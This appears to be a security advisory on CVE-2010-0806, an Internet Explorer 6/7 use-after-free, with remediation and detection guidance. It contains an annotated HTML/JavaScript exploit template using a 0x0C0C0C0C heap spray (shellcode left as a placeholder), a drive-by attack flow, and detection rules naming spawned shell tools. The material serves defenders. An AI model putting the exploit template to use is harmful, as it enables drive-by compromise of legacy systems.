CVE-2010-0806: Internet Explorer -- DHTML Peering Use-After-Free (Drive-By RCE)

Background

CVE-2010-0806 is a use-after-free vulnerability in Internet Explorer’s DHTML (Dynamic HTML) peering mechanism, affecting IE6 and IE7. Disclosed and patched in March 2010, it arrived in an era when browser-based exploitation had become the primary delivery mechanism for large-scale malware distribution. Exploit kits of that period — Neosploit, Eleonore, Phoenix, Crimepack — maintained portfolios of browser exploits and would automatically serve the most effective one based on the victim’s browser version and plugin inventory. CVE-2010-0806 was rapidly adopted into these kits and became one of the most actively exploited browser vulnerabilities of 2010.

The DHTML peering mechanism is part of Internet Explorer’s COM-based architecture for handling relationships between HTML elements and their underlying object representations. “Peering” refers to the mechanism that links a DHTML element (as represented in the DOM) with its corresponding C++ peer object in the rendering engine. This relationship involves careful object lifecycle management, and the vulnerability arises when that lifecycle is mishandled in a specific scenario, leaving the engine with a dangling pointer to a freed object.

Unlike CVE-2010-0249 (Operation Aurora), which was a zero-day used in precision nation-state attacks, CVE-2010-0806 was notable as a crimeware-grade vulnerability: it was reliable enough and well-understood enough to be weaponized at industrial scale in drive-by campaigns targeting anyone using IE6 or IE7. Security vendors documented thousands of compromised websites serving the exploit, and infection rates via this CVE in 2010 were among the highest of any single browser exploit in that period.

CISA added CVE-2010-0806 to the Known Exploited Vulnerabilities catalog in May 2026 because Internet Explorer 6 and 7 installations persist on legacy Windows systems in operational technology environments, and documented exploitation of legacy IE via drive-by and spear-phishing techniques continues against these targets.

Technical Mechanism

The vulnerability resides in IE’s iepeers.dll, a DLL component responsible for implementing the DHTML peering behavior. When a scripted HTML page performs certain DOM operations that involve creating and destroying HTML elements with associated peer objects, the engine can reach a state where:

1. A peer object is scheduled for destruction (its reference count drops to zero and the destructor is called, freeing the underlying memory)
2. A reference to that peer object’s memory remains in another data structure in the rendering engine
3. A subsequent DOM event or method call causes the engine to dereference this stale pointer and invoke a virtual method on the freed object

The freed memory, when accessed through the stale pointer, either contains predictable contents (if the heap allocator has not yet reused the block) or has been filled with attacker-controlled data through a heap spray. The virtual function dispatch through the corrupted vtable pointer redirects execution.

The exploit technique mirrors other browser use-after-free exploits of the era:

• Heap spray via JavaScript: String.fromCharCode() or array allocation loops spray the heap with a sled of 0x0C0C0C0C values (a common technique where the value serves as both the NOP sled filler and a near-null pointer that, when dereferenced as code, generates a predictable small forward jump). The sled terminates in shellcode.
• UAF trigger: Specific JavaScript operations manipulate the DOM in the sequence required to free the peer object while retaining the dangling pointer
• Virtual dispatch: The next rendering engine operation that uses the dangling pointer calls a virtual method, hitting the heap spray region
• Shellcode execution: The landing in the heap spray delivers shellcode that downloads and executes the intended malware payload

The reliability of the 0x0C0C0C0C heap spray technique against IE6/IE7 in 2010 made this CVE an excellent fit for mass exploitation: the exploit worked consistently without requiring per-target customization.

<!-- CVE-2010-0806 -- iepeers.dll use-after-free trigger pattern -->
<!-- Reflects the public exploit technique integrated into exploit kits in 2010 -->
<html>
<head>
<script>
// Step 1: Heap spray using the 0x0C0C0C0C technique
// 0x0C0C0C0C works as both a landing address and a short forward jump instruction
// (ADD AL, 0Ch repeated) -- slides execution into shellcode appended to the sled
var shellcode = unescape("<encoded_shellcode>");
var sled = unescape("%u0C0C%u0C0C");
while (sled.length < 0x80000) sled += sled;
var heap = [];
for (var i = 0; i < 500; i++) {
    heap[i] = sled.substring(0, 0x40000 - shellcode.length) + shellcode;
}

// Step 2: Create DOM elements using iepeers.dll-backed DHTML peer objects
// The peer object for certain HTML elements is managed by iepeers.dll
var obj = document.createElement("img");  // or other element with a DHTML peer
document.body.appendChild(obj);

// Step 3: Register an event handler that will fire after the object is freed
// attachEvent keeps a reference to the element object in the event system
obj.attachEvent("onreadystatechange", function() {
    // This handler fires after the peer object backing 'obj' is freed
    // The virtual dispatch through the stale iepeers.dll peer pointer
    // hits the 0x0C0C0C0C heap spray region and executes shellcode
});

// Step 4: Free the peer object while the event reference remains
// Specific DOM manipulation sequence that causes iepeers.dll to free the peer
document.body.innerHTML = "";  // removes 'obj' from DOM, freeing the peer object

// Step 5: Trigger the event on the freed object
// Forcing a state change fires the event handler through the dangling pointer
window.location = window.location;  // navigation event triggers the UAF dispatch
</script>
</head>
<body></body>
</html>

Attack flow (drive-by campaign):

1. Attacker compromises legitimate websites or purchases ad space on ad networks to serve malicious JavaScript that redirects visitors to an exploit server
2. Victim’s browser (IE6 or IE7 on XP) is silently redirected to the exploit server
3. The exploit page fingerprints the browser (checking IE version and OS) and serves the CVE-2010-0806 exploit payload
4. The heap spray and UAF trigger execute; shellcode runs
5. Shellcode downloads a malware payload (banking trojan, fake AV, botnet agent) and executes it
6. Malware establishes persistence, connects to C2, and begins criminal operations (credential theft, click fraud, spam relay)

The entire process takes seconds and requires no user interaction beyond visiting the compromised or malicious page.

Real-World Exploitation Evidence

CVE-2010-0806 achieved mass exploitation status within weeks of public disclosure. Security vendors documented the exploit being integrated into multiple major exploit kits by March 2010, and compromised-site-based distribution campaigns were identified serving the exploit to thousands of victims per day. The payloads delivered via this CVE during 2010 included:

• Zeus/Zbot: The dominant banking trojan of the era, used to steal online banking credentials and enable fraudulent transactions
• Koobface variants: Social network propagation malware that spread via victims’ social media accounts
• Fake antivirus (rogue AV): Scareware that charged victims for non-existent “security software”
• TDL rootkits: Bootkit-based persistent malware that survived OS reinstalls

The scale of exploitation was sufficient that Microsoft issued MS10-018 specifically in response to active exploitation of CVE-2010-0806, releasing the patch out-of-cycle in March 2010 rather than waiting for the April Patch Tuesday. The accelerated patch release timeline reflects the severity of the active threat.

As with other historical IE vulnerabilities, CISA’s 2026 KEV addition reflects continued exploitation against legacy IE installations in OT/ICS and other environments where OS modernization has not occurred.

Impact Assessment

• Mass-scale exploitation — Unlike Aurora (targeted), CVE-2010-0806 was weaponized for indiscriminate mass exploitation. Any user visiting a compromised or malicious page with an unpatched IE6/IE7 browser was at risk.
• Full code execution — Exploitation yields code execution with the browser process’s privilege level, typically the logged-in user with local administrator rights on Windows XP.
• Crimeware payload delivery — The primary use case was credential theft, banking fraud, and botnet enrollment, representing direct financial harm to victims.
• Drive-by delivery via legitimate sites — Compromised legitimate websites served the exploit to trusting visitors, making URL-based blocking insufficient protection.
• Persistent threat to legacy OT/SCADA systems — Legacy Windows systems with IE6/IE7 in operational technology environments are targeted by actors who know that patching rates are low and that proven exploit tools remain effective.
• Historical tooling availability — Metasploit modules, public exploit code, and exploit kit implementations for CVE-2010-0806 have been publicly available since 2010.

Affected Versions

Note: Windows XP and Server 2003 are end-of-life. Patching requires migrating to a supported OS or applying the legacy patch where still possible.

Remediation Steps

1. Apply MS10-018 (KB980182) — on supported Windows versions (Vista, Server 2008), apply the security update immediately.

:: Verify MS10-018 is installed
wmic qfe get HotFixID | findstr KB980182

:: Disable Active Scripting in Internet Zone (compensating control -- prevents heap spray)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 1400 /t REG_DWORD /d 3 /f

:: Enable DEP for Internet Explorer (IE7+ on XP SP3 / Vista)
:: Via IE Advanced Settings > Enable memory protection to help mitigate online attacks
reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "CEPEnabled" /t REG_DWORD /d 1 /f

:: Prevent iepeers.dll from loading by setting the Kill Bit for affected peer objects
:: (Documented in MS10-018 advisory -- specific CLSIDs for iepeers peer implementations)
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BCDE0395-E52F-467C-8E3D-C4579291692E}" /v "Compatibility Flags" /t REG_DWORD /d 0x00000400 /f

2. Replace Internet Explorer — IE is retired by Microsoft as of June 2022. All remaining IE deployments should be migrated to Microsoft Edge or another supported browser. IE mode in Edge provides compatibility for legacy web applications.
3. Migrate legacy systems — Windows XP systems with IE6/IE7 must be migrated to a supported OS. If this is not immediately possible, implement strict network isolation and compensating controls.
4. Network isolation for legacy OT systems — Systems running IE6/IE7 that cannot be patched or replaced should have no ability to reach the internet or untrusted web content. Restrict outbound HTTP/HTTPS traffic via firewall ACLs.
5. Disable scripting in IE — In IE’s Security Zone settings, disable Active Scripting for the Internet zone. This prevents the heap spray component of the exploit from executing. Apply via Group Policy for managed endpoints.
6. DEP enforcement — Enable Data Execution Prevention (DEP) opt-in for IE (available in IE7+). DEP makes heap spray exploitation significantly harder by preventing code execution from data regions. Configure via IE Advanced settings or Group Policy.
7. Web content filtering — Enforce web access through a proxy or web content filter that can block known malicious domains and sites. Compromised legitimate sites remain a challenge, but C2 infrastructure can often be blocked.

Detection Guidance

Detection for CVE-2010-0806 exploitation:

• Process behavior: iexplore.exe spawning child processes (cmd.exe, powershell.exe, network downloading utilities), making outbound connections on non-standard ports, or injecting code into other processes
• Memory forensics: iepeers.dll use-after-free exploitation produces distinctive heap spray patterns (dense regions of 0x0C0C0C0C in IE process heap memory), detectable by memory analysis tools or behavioral EDR
• Network analysis: IE process making unexpected HTTPS connections to newly registered or low-reputation domains immediately after page load; DNS lookups for C2 domains from IE processes
• File system events: files written to %TEMP% or %APPDATA% by the IE process followed by process creation from those paths
• Known payload IOCs: Zeus, Koobface, and TDL variants from 2010 campaigns have extensive IOC databases; scan for known file hashes, mutex names, registry keys
• IDS/IPS: Snort/Suricata rules for iepeers.dll exploit traffic patterns (available since 2010 in Emerging Threats and commercial rulesets)

# Splunk -- detect IE spawning child processes indicative of CVE-2010-0806 exploitation
index=wineventlog EventCode=4688
  parent_process_name="iexplore.exe"
  new_process_name IN ("cmd.exe", "powershell.exe", "wscript.exe",
                       "cscript.exe", "rundll32.exe", "mshta.exe")
| table _time host parent_process_name new_process_name CommandLine
| sort -_time

# Splunk -- detect files dropped by IE process to temp paths (payload staging)
index=wineventlog EventCode=4663 OR EventCode=11
  process_name="iexplore.exe"
  (object_name="*\\Temp\\*.exe" OR object_name="*\\AppData\\*.exe" OR object_name="*\\Temp\\*.dll")
| table _time host process_name object_name
| sort -_time

# Splunk -- detect Zeus/banking trojan C2 beacon pattern (high-frequency periodic connections)
index=network sourcetype=proxy
  src_process="iexplore.exe" OR cs_username="*"
| bucket _time span=5m
| stats count by _time src_ip dest_ip dest_port
| where count > 5
| join dest_ip [search index=threat_intel category=c2]
| eval alert="Possible Zeus C2 beacon from " . src_ip

# Suricata -- detect CVE-2010-0806 iepeers.dll UAF exploit page (0x0C0C0C0C heap spray)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT CVE-2010-0806 IE iepeers.dll UAF Heap Spray"; flow:established,from_server; file_data; content:"%u0C0C%u0C0C"; fast_pattern; content:"iepeers"; nocase; distance:0; within:5000; sid:2010080; rev:3;)

# Suricata -- detect generic IE heap spray pattern used by exploit kits serving CVE-2010-0806
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT IE Heap Spray 0x0C0C0C0C CVE-2010-0806 Class"; flow:established,from_server; file_data; content:"%u0C0C%u0C0C"; fast_pattern; content:"attachEvent"; distance:0; within:3000; content:"innerHTML"; distance:0; within:3000; sid:2010081; rev:2;)

# Suricata -- detect Zeus botnet HTTP C2 check-in traffic
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Zeus/Zbot HTTP C2 POST (CVE-2010-0806 payload)"; flow:established,to_server; content:"POST"; http_method; content:"application/x-www-form-urlencoded"; http_header; content:"id="; http_client_body; content:"&subid="; http_client_body; sid:2010082; rev:2;)

Any detection of CVE-2010-0806 exploitation in a modern environment (2026) indicates an attacker specifically targeting unpatched legacy IE and should be treated as a high-priority incident involving legacy system compromise.

Timeline

References

• NVD — CVE-2010-0806
• CISA KEV — CVE-2010-0806
• Microsoft MSRC — CVE-2010-0806